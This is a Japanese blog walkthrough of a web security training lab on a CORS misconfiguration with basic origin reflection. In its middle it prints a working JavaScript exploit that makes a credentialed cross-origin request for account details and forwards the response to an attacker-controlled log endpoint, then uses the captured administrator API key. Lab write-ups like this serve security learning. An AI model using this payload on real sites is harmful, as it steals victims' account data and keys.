Shikata Ga Nai

Private? There is no such things.

CORS vulnerability with basic origin reflectionをやってみた

Hello there, ('ω')ノ

 

基本的なオリジンリフレクションを伴うCORSの脆弱性を。

 

Origin リクエストヘッダは、どこがフェッチの原点であるかを示して。

パス情報は含まれず、サーバ名のみが含まれて。

Referer ヘッダとは、パス全体が公開されるわけではない点が異なって。

 

まずは、ログインしてからアカウントページへ。

 

f:id:ThisIsOne:20210320154626p:plain

 

リクエストには、CORSをサポートする可能性のある。

Access-Control-Allow-Credentialsヘッダが確認できて。

 

f:id:ThisIsOne:20210320154838p:plain

 

該当するリクエストは、/ accountDetailsへのAJAXリクエストを介して取得さて。

JSONも確認できて。

 

f:id:ThisIsOne:20210320155656p:plain

 

下記のヘッダを追加してSendすると。

Access-Control-Allow-Originヘッダに反映されていることが確認できて。

 Origin:https://example.com

 

f:id:ThisIsOne:20210320160005p:plain

 

ブラウザで、エクスプロイトサーバに移動して。

ラボのURLに対して下記のコードを挿入して。

 

<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://ac171f6f1ef6354a801b0da4002900ec.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='/log?key='+this.responseText;
};
</script>

 

XMLHttpRequest (XHR) オブジェクトは、サーバと対話するために使用されて。

リクエストのonload属性にリクエストリスナーを生成して割り当てて。

非同期で処理をすることにして。

クロスオリジンのajax通信で。

リクエストにcookieなどの認証情報を含めるように設定して。

最後にリクエストをサーバに送信して。

 

f:id:ThisIsOne:20210320163929p:plain


Storeして、View exploitをクリックして。

 

f:id:ThisIsOne:20210320160708p:plain

 

Deliver exploit to victimして、ログを確認してみると。

Administratorの文字が確認できて。

 

f:id:ThisIsOne:20210320163743p:plain


デコードして、APIキーをコピーして。

 

f:id:ThisIsOne:20210320163820p:plain


下記を入力すると。

 0RfxsUiQnAYsISZ4VdUUlKddMTYcPn0B

 

f:id:ThisIsOne:20210320163623p:plain

 

クリアできた。

 

f:id:ThisIsOne:20210320165143p:plain

 

Best regards, (^^ゞ